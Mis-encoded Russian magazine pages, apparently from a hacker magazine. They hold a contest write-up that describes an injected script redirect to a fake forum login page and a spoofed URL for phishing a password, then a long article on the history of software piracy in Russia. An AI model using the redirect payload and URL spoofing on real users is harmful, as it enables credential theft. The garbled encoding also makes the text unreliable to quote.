ñòàòüå â ýòîì íîìåðå, ÿ ðàññêàæó òîëüêî, ÷òî íàäî áûëî ñäåëàòü.
Íåîáõîäèìî áûëî ñîçäàòü òåìó, ïðè çàõîäå â êîòîðóþ ïðîèñõîäèò ðåäèðåêò íà ïîääåëüíóþ ñòðà-
íèöó àâòîðèçàöèè íà ôîðóìå, ðàçìåùåííóþ íà ëåâîì õîñòå. ×òî-òî âðîäå òîãî:

<script>location.href='http://xakep.ru/lo.php'</script>     

Åùå íàäî áûëî çàñïóôèòü ýòîò ðåàëüíûé àäðåñ, õîòÿ áû òàêèì îáðàçîì: www.icq.com/lala(ïî-
áîëüøå ñèìâîëîâ)/login.php@xakep.ru/lo.php
Äîâåð÷èâûé Ôåäÿ ïðî÷åë áû òâîå ñîîáùåíèå è áåç ïðîáëåì ââåë áû ñâîé ïàðîëü â ëåâóþ ôîð-
ìó, ïîñëå ÷åãî â òâîè ðóêè ïîïàë áû ïàðîëü ê åãî ïî÷òå, ãäå íàõîäèëîñü ïèñüìî ñ èíôîðìàöèåé
î VPN-àêêàóíòå, êîòîðûé âûñòóïàë â ðîëè ïðèçà çà ïðîõîæäåíèå ýòîãî êîíêóðñà.
Êàê âèäèøü, íå íóæíî áûëî áûòü ãóðó, ÷òîáû ïðîéòè ýòîò êîíêóðñ. Ïåðâûì è åäèíñòâåííûì ïîáåäèòå-
ëåì, êîòîðûé ïîëó÷èë â ñâîè ðóêè VPN-àêêàóíò ñðîêîì äåéñòâèÿ íà ìåñÿö ñòàë ÷óâàê ñ íèêîì ShAnKaR.
Åñëè òû î÷åíü õî÷åøü VPN-àêê, íî ïðîéòè êîíêóðñ íå ñóìåë, íå îò÷àèâàéñÿ. Òû ìîæåøü ïðîñòî
êóïèòü, îáðàòèâøèñü, íàïðèìåð, ê ñåðâèñó #992148.
×òî êàñàåòñÿ ñëåäóþùåãî êîíêóðñà, òî âñÿ èíôîðìàöèÿ î íåì áóäåò ðàçìåùåíà â ôîðóìå íà
www.xakep.ru. ×èñëà äâàäöàòîãî çàâàëèâàéñÿ òóäà è ïðèíèìàé ó÷àñòèå! 
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[êàê ðîæäàëîñü ïèðàòñòâî â Ðîññèè]
Ïî ïîâîäó êîìïüþòåðíîãî ïèðàòñòâà ñóùåñòâó-
åò äâà ìíåíèÿ. Íåêîòîðûå ãîâîðÿò, ÷òî ïèðàò-
ñòâî � ýòî çëî, òîðìîç ðîññèéñêîé IT-èíäóñò-
ðèè, òàê êàê íàøè ðàçðàáîò÷èêè è òàê åëå-åëå
ñòîÿò íà íîãàõ, à ïèðàòû, âîðóÿ è ïðîäàâàÿ èõ
ñîôò, íàíîñÿò ñîêðóøèòåëüíûé óäàð. Äðóãèå,
íàîáîðîò, óòâåðæäàþò, ÷òî èìåííî áëàãîäàðÿ
ïèðàòàì Ðîññèÿ ïðîñëàâèëàñü êîìïüþòåðíûìè
ñïåöàìè, è èìåííî áëàãîäàðÿ ïèðàòàì â Ðîñ-
ñèè î÷åíü ìíîãî ãðàìîòíûõ ëþäåé. Íî äàâàé
ðàçáèðàòüñÿ ïî ïîðÿäêó.
Ñâîå íà÷àëî ïèðàòñòâî áåðåò ñ 1902 ãîäà.
Èìåííî òîãäà ñòàëè ïîÿâëÿòüñÿ ïîäïîëüíûå
öåõà ïî ïðîèçâîäñòâó ïîääåëüíûõ âèíèëîâûõ
ïëàñòèíîê. Ïðèáûëüíîñòü òàêîãî áèçíåñà áûëà
ñîìíèòåëüíîé. Èç-çà äîðîãîâèçíû ìàòåðèàëà
äëÿ èçãîòîâëåíèÿ âèíèëîâûõ ïëàñòèíîê êîíò-

082
ÅÑËÈ ÒÛ ÏÎÄÓÌÀË, ×ÒÎ ÐÅ×Ü Â ÝÒÎÉ ÑÒÀÒÜÅ
ÏÎÉÄÅÒ Î ÑÓÐÎÂÛÕ ÌÓÆÈÊÀÕ, Ó ÊÎÒÎÐÛÕ
ÂÌÅÑÒÎ ÍÎÃÈ ÒÎÐ×ÈÒ ÄÅÐÅÂßØÊÀ, À ÍÀ ÃËÀÇ
ÍÀÒßÍÓÒÀ ×ÅÐÍÀß ÏÎÂßÇÊÀ, ÒÛ ÎØÈÁÑß.
ÂÐÅÌÅÍÀ, ÊÎÃÄÀ ÌÎÐßÌÈ ÏÐÀÂÈËÈ ÏÈÐÀÒÛ,
ÄÀÂÍÎ ÏÐÎØËÈ. ÄÀ È ÌÎÐß ÒÅÏÅÐÜ ÑÎÑÒÎßÒ
ÍÅ ÒÎËÜÊÎ ÈÇ ÂÎÄÛ, ÍÎ È ÈÍÔÎÐÌÀÖÈÈ, È Â
ÒÀÊÎÉ ÑÐÅÄÅ ÏÐÎÌÛØËßÞÒ ÏÈÐÀÒÛ ÑÎÂÑÅÌ
ÄÐÓÃÎÃÎ ÒÈÏÀ. ÈÌÅÍÍÎ Î ÍÈÕ ÌÎÉ ÐÀÑÑÊÀÇ
| Äìèòðèåâ Äàíèë aka xbit (stream@oskolnet.ru)
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Ïèðàòû XXXI ââåêà

Êàê ðàáîòàåò
ïîäïîëüíîå
ïðîèçâîäñòâî?

ðàôàêòíûé ïðîäóêò îêàçûâàëñÿ íå íàìíîãî äåøåâëå ëåãàëüíîãî, ê òîìó
æå ïèðàòñêèå âèíèëîâûå äèñêè íå êîïèðîâàëèñü ñ îäíîãî íà äðóãîé.
Ïëàñòèíêè ñîäåðæàëè ïîïóëÿðíûå ïåñíè â èñïîëíåíèè íåèçâåñòíûõ
ïåâöîâ, êîñèâøèõ ïîä çâåçä ýñòðàäû, êà÷åñòâî çàïèñè îñòàâëÿëî æå-
ëàòü ëó÷øåãî. Â òî âðåìÿ ïðîáëåìà ïèðàòñòâà øèðîêî îáñóæäàëàñü â
ìóçûêàëüíûõ ãàçåòàõ, è, êàê è ñåé÷àñ, â ïåðâóþ î÷åðåäü, îáâèíÿëè Ðîñ-
ñèþ, êîòîðóþ ñ÷èòàëè ðîäèíîé ïèðàòñòâà. Â 1911 ãîäó áûë ïðèíÿò ðÿä
çàêîíîâ, çàïðåùàþùèõ ïðîèçâîäñòâî è ñáûò êîíòðàôàêòíîãî âèíèëà.
Íî íàñêîëüêî ýôôåêòèâíûìè áûëè ýòè çàêîíû îñòàåòñÿ ãàäàòü, òàê êàê
ïðîèçîøåäøàÿ ðåâîëþöèÿ ñâåëà ïðîèçâîäñòâî ïëàñòèíîê íà íåò. Äîë-
ãèå ãîäû ïîñëå ýòîãî íà íèâå ïèðàòñòâà ïðîèñõîäèëî çàòèøüå. Ñîâåòñ-
êèé Ñîþç, ãäå ëþáûå ïðîÿâëåíèÿ ïðåäïðèíèìàòåëüñêîé äåÿòåëüíîñòè
ñòðîãî íàêàçûâàëèñü, ñòàë õóäøèì ìåñòîì äëÿ ëþáèòåëåé íåëåãàëüíîé
ïðîäóêöèè. Òàê ïðîäîëæàëîñü âïëîòü äî íà÷àëà 90-õ ãîäîâ.
Ïîñëå ðàñïàäà Ñîþçà, êîãäà Ðîññèÿ âñòóïèëà â ðûíî÷íóþ ýêîíîìèêó, ïå-
ðåä êîììåðñàíòàìè îòêðûëîñü íåïàõàíîå ïîëå âîçìîæíîñòåé. Ãîñóäàð-
ñòâî íå óñïåâàëî îáåñïå÷èòü ïîòðåáèòåëåé òîâàðàìè è óñëóãàìè, ïîýòîìó
ëþáîå ãðàìîòíî îðãàíèçîâàííîå äåëî ïðèíîñèëî ñîëèäíóþ ïðèáûëü. Êòî-
òî ïîäàëñÿ â îëèãàðõè, êòî-òî � â ÷åëíîêè. ×åëíîêè îáû÷íî òîðãîâàëè
îäåæäîé èç-çà ãðàíèöû (ïðè÷åì åùå ïðè ñîâåòñêîé âëàñòè), íî òåïåðü, âî
âðåìåíà ñâîáîäíîé òîðãîâëè, ââîçèòü èç-çà áóãðà ìîæíî áûëî ëþáîé òî-
âàð, â òîì ÷èñëå è êîìïàêò-äèñêè. Êîíå÷íî, â óñëîâèÿõ ýêîíîìè÷åñêîãî
êðèçèñà íàèâíî áûëî áû ïðåäïîëàãàòü, ÷òî ëþäè, â îäíî÷àñüå ïîòåðÿâ-
øèå âñå, ðàñêîøåëÿòñÿ íà äîðîãóùèé áóðæóéñêèé ñîôò. Ïîýòîìó ÷åëíîêè
ïðèøëè ê âûâîäó, ÷òî ãîðàçäî ïðîùå çàêóïèòü ïî îäíîìó ýêçåìïëÿðó ïðî-
äóêòà è òèðàæèðîâàòü åãî ñàìîñòîÿòåëüíî. Âëîæèâøèñü â òåõíèêó äëÿ èç-
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ðåøèëè çàêóïàòü íå ïî îäíîìó ýêçåìïëÿðó, êàê ðàíüøå, 
à õîòÿ áû ïî äâà-òðè, íåïîñðåäñòâåííî äëÿ ïðîäàæè. Â òå÷åíèå

ìåñÿöà âñÿ ëåãàëüíàÿ ïðîäóêöèÿ ðàñêóïàëàñü, ÷òî ïðèâåëî ê ñîçäàíèþ
îòäåëüíûõ ìàãàçèíîâ, òîðãóþùèõ ÷èñòî ëèöåíçèîííîé ïðîäóêöèåé. Èõ áû-
ëî íå ìíîãî, íî îíè áûëè è ïðèíîñèëè äîõîä. Ñòàëî ÿñíî � ïðîäàâàòü ëè-
öåíçèîííûé ñîôò â Ðîññèè äåëî íå áåñïîëåçíîå, ÷òî äàëî õîðîøèé òîë÷îê
ðîññèéñêèì ðàçðàáîò÷èêàì ñîôòà è èãðóøåê. ×òî ñàìîå èíòåðåñíîå, ìíî-
ãèå ãðóïïû äåâåëîïåðîâ ôèíàíñèðîâàëèñü âñå òåìè æå ïèðàòàìè, êîòîðûå
â ïîãîíå çà ïðèáûëüþ íå ïîæàëåëè äåíåã è íà íèõ. È ýòî áûëî îïðàâäàííî,
òåì áîëåå, ÷òî ðîññèéñêèå ðàçðàáîòêè ïèðàòû ýêñïîðòèðîâàëè çà ãðàíèöó.

[ïèðàòñòâî ñåãîäíÿ] Ïðîøëî óæå 10 ëåò, à ïèðàòñòâî íå òîëüêî íå
èñ÷åçëî êàê ÿâëåíèå, íî, íàîáîðîò, íàáèðàåò îáîðîòû. Íà ýêðàíå òåëå-
âèçîðà âûñîêèå ÷èíû ãîâîðÿò î òîì, ÷òî ýòî ïëîõî, ÷òî áóäóò áîðîòüñÿ,
÷òî ÷åðåç áóêâàëüíî ïàðó ëåò ïèðàòñòâî ñîêðàòèòñÿ âäâîå. Íà ñàìîì äå-
ëå, âñå ýòî ïóñòûå ñëîâà. Ñ ïèðàòàìè â íàøåé ñòðàíå íèêòî íå áîðåòñÿ
è áîðîòüñÿ íå ñîáèðàåòñÿ. Ïîäîáíûå çàÿâëåíèÿ äåëàþòñÿ îáû÷íî ïîñëå
íàæèìà àìåðèêàíöåâ è Åâðîñîþçà. Òàê, íàïðèìåð, ïåðåä âñòóïëåíèåì
Ðîññèè âî Âñåìèðíóþ Òîðãîâóþ Îðãàíèçàöèþ, ÷ëåíñòâà â êîòîðîé íàøà
ñòðàíà äîáèâàëàñü íåñêîëüêî ëåò, áûëî ñäåëàíî íåñêîëüêî çàÿâëåíèé
äÿäåíüêàìè â ïîãîíàõ è ñàìèì ïðåìüåð-ìèíèñòðîì î âðåäå ïèðàòñòâà è
î ìåðàõ åãî ïðîòèâîäåéñòâèÿ. Áûëî
ïðîâåäåíî íåñêîëüêî àðåñòîâ, ïîêà-
çàòåëüíûõ ðàñêàòûâàíèé äèñêîâ ïî
àñôàëüòó, ðåïîðòàæåé ñ öåíòðàëü-
íîãî ÒÂ. Íî äàëüøå ýòîãî äåëî íå
ïîøëî. Àðåñòîâàííûå îòäåëàëèñü
øòðàôàìè è áûëè îòïóùåíû, òî÷êè
çàðàáîòàëè âíîâü, ïðè÷åì â òåõ æå
ìåñòàõ. Íè ðàçó íå áûëî ñëó÷àåâ,
êîãäà îïåðàòèâíèêè íàêðûâàëè
öåëûé çàâîä ïî èçãîòîâëåíèþ
äèñêîâ. À âåäü åñëè ýòî ñäåëàòü,
òî íà áèçíåñå îïðåäåëåííîé ãðóï-
ïû ìîæíî ñòàâèòü êðåñò. Ïî÷å-
ìó? ×èòàé äàëüøå.
Ïèðàòñêèå äèñêè ïðîèçâî-
äÿòñÿ äâóìÿ ìåòîäàìè. Ïåð-
âûé ìåòîä � êóñòàðíûé.
Ãëàâíûé ïëþñ åãî � ïðîñòî-

ãîòîâëåíèÿ êîìïàêòîâ, ëþäè, êîòîðûõ ìû ñåé÷àñ
íàçûâàåì ïèðàòàìè, ïðèñòóïèëè ê çàïîëíåíèþ ïðè-
ëàâêîâ ðîññèéñêèõ êîìïüþòåðíûõ ìàãàçèíîâ. Êàê è ñðåäè
ïðåäñòàâèòåëåé äðóãèõ âèäîâ áèçíåñà, ìåæäó ïèðàòàìè âåëàñü æåñòêàÿ
êîíêóðåíöèÿ. ×òîáû ïðèâëå÷ü ïîëüçîâàòåëÿ ê ñâîåé ïðîäóêöèè, ïèðàòû íå
òîëüêî ñòàðàëèñü ëþáûìè ñïîñîáàìè ðàíüøå êîíêóðåíòîâ äîñòàòü íîâûé
âàðåç, íî è äîðàáàòûâàëè åãî, ñîçäàâàëè ñâîè óçíàâàåìûå áðåíäû. Ïðè-
ìåðîì òîìó ìîæåò ïîñëóæèòü ñåðèÿ äèñêîâ «Çîëîòîé Ñîôò», ñàìûõ ðàñï-
ðîñòðàíåííûõ «ðåàíèìàòîðîâ» â íàøåé ñòðàíå. ×åãî òîëüêî íå âïèõèâà-
ëè ïèðàòû íà îäèí êîìïàêò: è âèíäó, ñâåæèé MS Office, è åùå äîáðûé äå-
ñÿòîê ìåëêèõ, íî íå äåøåâûõ ñèñòåìíûõ óòèëèò. ×åì óñïåøíåå ïîäáîðêà
ñîôòà, òåì âûøå øàíñ õîðîøî çàðàáîòàòü è óáðàòü ñ äîðîãè êîíêóðåíòîâ.
Êàê èñòèííûå ðàçðàáîò÷èêè, ïèðàòû çàáîòèëèñü î êà÷åñòâå ñâîåé ïðîäóê-
öèè: ïðîâåðÿëè äèñêè íà âèðóñû, íàíèìàëè ïðîãðàììèñòîâ äëÿ íàïèñàíèÿ
êðàñèâîãî àâòîðàíà, ñêèäûâàëè íà êîìïàêò äîêè ê êàæäîé ñîôòèíå. Îäíà
çàðàæåííàÿ âèðåì ïðîãðàììà ìîãëà îòáèòü ó ïîêóïàòåëåé îõîòó ïîêóïàòü
äàæå ñàìûå «âêóñíûå» äèñêè, à êðèâîé àâòîðàí íàâñåãäà ìîã èñïîðòèòü
âïå÷àòëåíèå î ïðîäóêöèè «êîìïàíèè».
Ñëåäóþùèì øàãîì ñòàëà ëîêàëèçàöèÿ ñîôòà. Ðóññêèì þçåðàì ãîðàçäî
óäîáíåå ðàáîòàòü ñ ïðîãðàììîé íà ðóññêîì ÿçûêå � ïèðàòû ýòî ïîíèìàëè
� è, êàê ñëåäñòâèå, âñêîðå ñòàëè ïîÿâëÿòüñÿ êîðîáêè ñ ïîäïèñÿìè: «Ðóññêàÿ
âåðñèÿ» è «2 â 1. Ðóññêàÿ è Àíãëèéñêàÿ âåðñèÿ». Ëîêàëèçîâàòü ñîôò áûëî íå
òàê ñëîæíî, íî äîëãî. Ïîýòîìó äëÿ óñêîðåíèÿ ïðîöåññà íàíèìàëèñü öåëûå
ãðóïïû ïðîôåññèîíàëüíûõ ïåðåâîä÷èêîâ, êîòîðûå ñòàõàíîâñêèìè òåìïàìè
ïåðåâîäèëè îäíó ïðîãðàììó çà äðóãîé. Áîëüøèå ïðèáûëè ïîçâîëÿëè õîðî-
øî ïëàòèòü çà ýòîò òðóä. Äëÿ ëîêàëèçàöèè íåêîòîðûõ êîìïüþòåðíûõ èãð
ïðèãëàøàëèñü äàæå àðòèñòû èç Ñîþç Ìóëüòôèëüìà. Ïîìèìî ðóñèôèêàòî-
ðîâ â äèðåêòîðèþ ñ ïðîãðàììîé âûêëàäûâàëèñü åùå è êðýêè. Äåéñòâèòåëü-
íî, êîìó íóæåí ñîôò, êîòîðûé ðàáîòàåò òîëüêî 30 äíåé? Òóò âñå îêàçàëîñü
íàìíîãî ïðîùå, ÷åì ñ ëîêàëèçàöèåé: êðýêè è êëþ÷è óæå äàâíî ëåæàëè â Èí-
òåðíåòå è ñêà÷àòü èõ ìîæíî áûëî àáñîëþòíî áåñïëàòíî. Ïðàâäà, õîäÿò ñëó-
õè, ÷òî êðóïíûå êðýêåðñêèå ãðóïïû öåëèêîì è ïîëíîñòüþ êîììåð÷åñêèå è
ôèíàíñèðóþòñÿ ïèðàòàìè, íî, ñêîðåå âñåãî, òàêèå ñëó÷àå åäèíè÷íû.
Ïåðâîíà÷àëüíî âåñü ñîôò ïèðàòû èìåííî ïðèâîçèëè èç-çà áóãðà, à íå ïðîñ-
òî êà÷àëè èç Èíòåðíåòà. Ïîýòîìó äîìà ó êàæäîãî ÷åëíîêà ëåæàëè äåñÿòêè
êîðîáîê ñ ëèöåíçèîííûì ÏÎ. Âèäèìî, ñîâåðøåííî ñëó÷àéíî êòî-òî èç íèõ
ðåøèë âûñòàâèòü íà ïðèëàâîê ëåãàëüíóþ êîðîáî÷íóþ âåðñèþ. È ñâîé ïîêó-
ïàòåëü íàøåëñÿ. Îäíèõ ïðèâëåêàëà ÿðêàÿ êîðîáêà è äîïîëíèòåëüíûå ìàòå-
ðèàëû, äðóãèå ïðèñìàòðèâàëè ïîäàðîê ëþáèìîìó ÷àäó, áûëè è òå, êòî èç-çà
ëþáâè ê ïðîäóêòó õîòåë ïîîùðèòü òàêèì îáðàçîì àâòîðîâ. Ïîýòîìó ïèðàòû
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òà, ìèíóñ � ìàëåíüêàÿ ìîùíîñòü. Ñóòü ñîñòîèò â òîì, ÷òî äèñêè ïå÷àòà-
þòñÿ ïðÿìî íà ñúåìíîé êâàðòèðå íà ñïåöèàëüíîì îáîðóäîâàíèè. Ìàòå-
ðèàë äëÿ òèðàæèðîâàíèÿ áåðåòñÿ èç Èíòåðíåòà è ñ äèñêîâ äðóãèõ ïèðà-
òîâ. Îáû÷íî âñåì ýòèì çàïðàâëÿåò îäèí ÷åëîâåê. Èíîãäà îí æå âñå ýòî
è ïðîäàåò. Ê ïîñòàâêàì íîâîãî âàðåçà òàêèå òîðãîâöû ÷àñòî ïðèâëåêà-
þò ìîëîäåæü. Çàáèâàåøü èíòå-
ðåñíûì ñîôòîì äèñê, ñîçäàåøü
àâòîðàí ê íåìó, äèçàéíèøü îá-
ëîæêó è íåñåøü ê êóñòàðíèêó, êî-
òîðûé ïëàòèò òåáå çà òðóäû äåíü-
ãè. Äàþò, ìîæíî ñêàçàòü, êîïåéêè:
â Ìîñêâå çà îäèí CD � 250 ðóá-
ëåé, çà DVD � 850. Èíîãäà òàêèå
òîðãîâöû çàíèìàþòñÿ ìîäèôèêà-
öèåé èãðîâûõ ïðèñòàâîê. Ãðóáî ãî-
âîðÿ, ýòî ïðîøèâêà â ïðèñòàâêó
ñïåöèàëüíîãî ÷èïà, êîòîðûé ïîç-
âîëÿåò ñ÷èòûâàòü ïèðàòñêèå äèñ-
êè. Êàê èçâåñòíî, ïðèñòàâêà Sony
PlayStation 2 â îðèãèíàëå íå ïðî-
èãðûâàëà ïèðàòñêóþ ïðîäóêöèþ,
îäíàêî íåñëîæíûé ìîääèíã ýòî
ëåãêî èñïðàâëÿë. Ìîäèôèöèðî-
âàííàÿ ïðèñòàâêà ñòîèò, åñòåñò-
âåííî, äîðîæå îðèãèíàëüíîé.
Ýòî âñåãî ëèøü ìåëêèå òîðãîâöû,
ñåðüåçíåå îáñòîÿò äåëà ñ ïðî-
ìûøëåííûìè ãèãàíòàìè. Íà òåð-
ðèòîðèè Ðîññèè çàðåãèñòðèðîâàíî
29 çàâîäîâ ïî òèðàæèðîâàíèþ íîñèòåëåé è ïðàêòè÷åñêè
âñå îíè â ðàçíîå âðåìÿ áûëè óëè÷åíû â íåçàêîííîì òèðà-
æèðîâàíèè ïèðàòñêîé ïðîäóêöèè. Ïðîèñõîäèò ýòî òàê.
Êîìïàíèÿ-ïðîèçâîäèòåëü ÏÎ çàêëþ÷àåò äîãîâîð ñ çàâî-
äîì î âûïóñêå êîìïàêò-äèñêîâ òèðàæîì â 20 òûñ. ýêçåìï-
ëÿðîâ. Çàâîä çàêàç âûïîëíÿåò, ñäàåò, íî ðàáîòà íà ýòîì íå îñòà-
íàâëèâàåòñÿ. Â íî÷íóþ ñìåíó äåëàåòñÿ äîïîëíèòåëüíûé òèðàæ
â 40 òûñ. ýêçåìïëÿðîâ è ðàñõîäèòñÿ ïî ïèðàòñêèì ëîòêàì.
Èíîãäà íà òàêèå çàâîäû ïðèõîäÿò ñîòðóäíèêè ìèëèöèè, íî ïå-
ðåä òåì êàê ïðîéòè íà çàâîä, îíè îáÿçàíû äîêàçàòü îõðàíå
ïðåäïðèÿòèÿ ñâîè ïîëíîìî÷èÿ è ïîêàçàòü îðäåð íà îáûñê. Íà
ýòî óõîäèò ÷àñ-äâà. Ýòîãî âðåìåíè áîëåå ÷åì äîñòàòî÷íî, ÷òîáû
ïåðåíàñòðîèòü ïðîèçâîäñòâî íà òèðàæèðîâàíèå ëèöåíçèè. Äà è ïî-
äîáíûå âèçèòû ïðîèñõîäÿò ëèøü íà òå çàâîäû, êîòîðûå óñïåëè óëè÷èòü.
Åñëè ïîñòàðàòüñÿ, ñïðÿòàòü öåõ ïî íàðåçêå áîëâàíîê ìîæíî äàæå â íå-
áîëüøîì ãîðîäå. È íèêòî íå ïðèäåðåòñÿ � ãëàâíîå âîâðåìÿ ïëàòèòü çà
àðåíäó ïîìåùåíèÿ. Ïðîöåññ ïðîèçâîäñòâà äèñêîâ î÷åíü äåøåâûé. Ñàì
äèñê ñòîèò îêîëî 0.8$, óïàêîâêà è çàïèñü � ÷óòü äîðîæå, ïëþñ íåáîëü-
øèå îò÷èñëåíèÿ êðûøóþùèì ñòðóêòóðàì. Åñòü åùå çàòðàòû íà òðàíñ-
ïîðòèðîâêó, âçÿòêè è ïðî÷èå èçäåðæè, íî îíè ñåáÿ îêóïàþò ñ ëèõâîé.
Â êàêîé-òî ìîìåíò òèðàæèðîâàíèÿ îáû÷íîãî êîíòåíòà ïèðàòàì ïîêàçà-
ëîñü ìàëî, íà÷àëàñü íàñòîÿùàÿ ãîíêà çà ðåäêèìè è ýêñêëþçèâíûìè ìà-
òåðèàëàìè. Íà ðûíêå ñòàëè ïîÿâëÿòüñÿ äèñêè, ñîäåðæàùèå âûêà÷àííûå
èç Ñåòè ñàéòû, ïîäáîðêè ôîòîêëèïàðòîâ, òåìàòè÷åñêèå ýíöèêëîïåäèè.
Ñïóñòÿ åùå íåñêîëüêî ëåò ïîÿâèëèñü äèñêè ñ áàçàìè äàííûõ. Ïîìíèòñÿ,
êàêèõ-òî ÷åòûðå ãîäà íàçàä ÿ êóïèë äèñê ñ òåëåôîííûì ñïðàâî÷íèêîì
ñâîåãî ãîðîäêà è äàæå íå äîãàäûâàëñÿ, ÷òî ýòó áàçó âûêðàëè ó òåëåôî-
íèñòîâ. Õîòÿ ÁÄ ñ òåëåôîííûìè íîìåðàìè � ýòî åðóíäà ïî ñðàâíåíèþ
ñ íåêîòîðûìè äðóãèìè. Íàïðèìåð, áûëè ñëó÷àè, êîãäà ìîøåííèêè ïðî-
áèâàëè ïî áàçå óãíàííûõ àâòîìîáèëåé õîçÿåâ äîðîãèõ èíîìàðîê, ïðåä-
ëàãàëè âûêóïèòü ìàøèíó çà ïîëöåíû. Äåíüãè áðàëè, à àâòî òàê è îñòà-
âàëîñü â óãîíå. Íåäàâíî íà ïðèëàâêàõ ïîÿâèëèñü äàæå äèñêè ñ ÁÄ íàëî-
ãîâîé èíñïåêöèåé! Òåïåðü ëþáîé ÷åëîâåê çàïðîñòî óçíàåò òâîé è ìîé
óðîâåíü äîõîäîâ. Êàêèå ìîãóò áûòü ïîñëåäñòâèÿ, äîãàäàéñÿ ñàì. Ñòîÿò
òàêèå äèñêè íàìíîãî äîðîæå îáû÷íûõ, íî ýòî íå ìåøàåò èõ óñïåøíîé
ïðîäàæå. À îòêóäà îíè áåðóòñÿ � òîæå äîãàäàòüñÿ íåñëîæíî. Ïðîäàæ-
íûå ñîòðóäíèêè ìèëèöèè åñòü, íàâåðíîå, â êàæäîì îòäåëåíèè.

[àíòèïèðàòñêèå êàìïàíèè] Íåñìîòðÿ íà áåçíàäåæíîñòü ïðîòèâîñ-
òîÿíèÿ ïèðàòàì, îïðåäåëåííûå ìåðû âñå-òàêè ïðèíèìàþòñÿ. Íàïðèìåð,
â Ìîñêâå íåñêîëüêî ëåò íàçàä ïðèíÿëè ïîñòàíîâëåíèå, ñîãëàñíî êîòîðî-
ìó êîìïüþòåðíûå äèñêè çàïðåùåíî ïðîäàâàòü â ëîòêàõ, à íà êàæäûé ýê-
çåìïëÿð äîëæíà ñòàâèòüñÿ ñïåöèàëüíàÿ ìàðêà. Ýòà ìåðà íå ïîíðàâè-
ëàñü ôåäåðàëüíîé àíòèìîíîïîëüíîé ñëóæáå,  è ïîýòîìó åå îòìåëè. Îáú-
ÿñíÿëîñü ýòî íåñîâåðøåííîñòüþ çàêîíà è íåâîçìîæíîñòüþ â ïîëíîé ìå-
ðå åãî ðåàëèçîâàòü. Íàïðèìåð, çàïðåùàÿ êóðüåðñêóþ òîðãîâëþ êîì-
ïàêò-äèñêîâ, ïðàâèòåëüñòâî Ìîñêâû ïîñòàâèëî âíå çàêîíà áîëüøèíñòâî
èíòåðíåò-ìàãàçèíîâ, äîñòàâëÿþùèõ òîâàðû êóðüåðîì. Òàêæå àíòèïèðà-

òñêèå îðãàíèçàöèè ïðèçíàëè íåýôôåêòèâíîñòü ââåäåííûõ ìàðîê, âåäü
îòâåòñòâåííîñòü çà èõ îòñóòñòâèå íå íåñëàñü. Êàê ÿ óæå ãîâîðèë âûøå,
Ðîññèè âûãîäíåå äåëàòü âèä, ÷òî îíà áîðåòñÿ ñ ïèðàòàìè, ÷åì äåëàòü
ýòî íà ñàìîì äåëå. À ïðèòâîðÿòüñÿ ïðèõîäèòñÿ, ÷òîáû èçáåæàòü ñàíêöèé
ñî ñòîðîíû ÑØÀ. Ðîññèÿ âêëþ÷åíà â òîï ñïèñêà ñàìûõ ïîäâåðæåííûõ

ïèðàòñòâó ñòðàí, è Àìåðèêà ïîñòî-
ÿííî òðåáóåò óæåñòî÷åíèÿ àíòèïè-
ðàòñêèõ ìåð. Òî æå êàñàåòñÿ Áàãàìñ-
êèõ îñòðîâîâ, Êóâåéòà, Èíäèè è
Ïàêèñòàíà. Êðóïíûå âëàäåëüöû
àâòîðñêèõ ïðàâ, òàêèå êàê RIAA,
âûñòóïàÿ ïåðåä êîíãðåññîì, çàÿâ-
ëÿþò, ÷òî èç-çà Ðîññèè îíè íåñóò
óáûòêè â 1,3 ìèëëèàðäà äîëëàðîâ
åæåãîäíî. Ê òîìó æå Ðîññèÿ ýêñ-
ïîðòèðóþò ïèðàòñêóþ ïðîäóêöèþ â
26 ñòðàí ìèðà, ÷òî íàíîñèò åùå
áîëüøèé óáûòîê. Èíòåðåñíî òî,
êàê îíè ñ÷èòàþò óáûòêè � áåðóò
êîëè÷åñòâî ïðîäàííûõ ïèðàòñêèõ
äèñêîâ è óìíîæàþò èõ íà öåíó ëå-
ãàëüíîé ïðîäóêöèè. Èñõîäÿ èç
ýòîé ëîãèêè, åñëè áû íå áûëî ïè-
ðàòîâ, òî ïîëüçîâàòåëè ïîêóïàëè
áû òàêîå æå êîëè÷åñòâî äèñêîâ, íî
ó ïðàâîîáëàäàòåëåé. Ðàçóìååòñÿ,
ýòî áðåä. Åñëè 10 òûñÿ÷ ïèðàòñêèõ
äèñêîâ ñ WinXP ïî öåíå 70 ð. çà
øòóêó ðàñõîäÿòñÿ â íåáîëüøîì ãî-

ðîäêå çà ìåñÿö, ðàññ÷èòûâàòü íà òàêîé æå òåìï îòíî-
ñèòåëüíî ëåãàëüíîé ïðîäóêöèè, êîòîðàÿ ñòîèò çà ñîò-
íþ áàêñîâ, ïðîñòî íàèâíî. À âåäü íåêîòîðûå ïðîãðàì-
ìû äîñòèãàþò ñòîèìîñòè â 10 òûñÿ÷ äîëëàðîâ. Êîìïà-
íèè-ïðàâîîáëàäàòåëè, ïûòàÿñü ñîêðàòèòü ñëó÷àè âî-

ðîâñòâà èõ ïðîäóêòîâ, ïðåäïðèíèìàþò ðàçíûå ìåðû: ñïîíñèðóþò
àíòèïèðàòñêèå ðåéäû, ïîäàþò â ñóä íà çàâîäû, óëè÷åííûå â ñâÿ-
çÿõ ñ ïèðàòàìè, è âûäåëÿþò êó÷ó äåíåã íà äîíåñåíèå ÷åðåç ðåê-
ëàìó óãðîç ëþáèòåëÿì õàëÿâêè. Äðóãîé ïîäõîä èçáðàëà
Microsoft, ãäå áîðüáà ñ ïèðàòñòâîì èìååò ïðîãðàììíûé õàðàê-

òåð. Êîìïàíèÿ Ãåéòñà íå ãîíÿåòñÿ çà ÷àñòíûìè ïîëüçîâàòåëÿìè,
íî åñëè â êðóïíîé ôèðìå ðåøèëè þçàòü ïèðàòñêóþ âèíäó, è îá

ýòîì óçíàëè â Microsoft, ôèðìå ýòîé ïðèäåòñÿ íå îäèí ìåñÿö ïîáåãàòü
ïî ñóäàì è çàïëàòèòü íå îäíó òûñÿ÷ó áàêñîâ øòðàôà. Ïîýòîìó â ÑØÀ
ðåäêî ìîæíî âñòðåòèòü íà ôèðìå ïèðàòñêèé ñîôò, â òî âðåìÿ êàê â Ðîñ-
ñèè â èñïîëüçîâàíèè íåëåãàëüíîãî ÏÎ ïðèçíàëñÿ äàæå Äìèòðèé ×åï÷ó-
ãîâ, ãëàâà îòäåëà «Ê».
Ñêîëüêî áû íå ãîâîðèëè ýêñïåðòû, ÷òî ãîñóäàðñòâî «êðûøóåò» ïèðàòîâ,
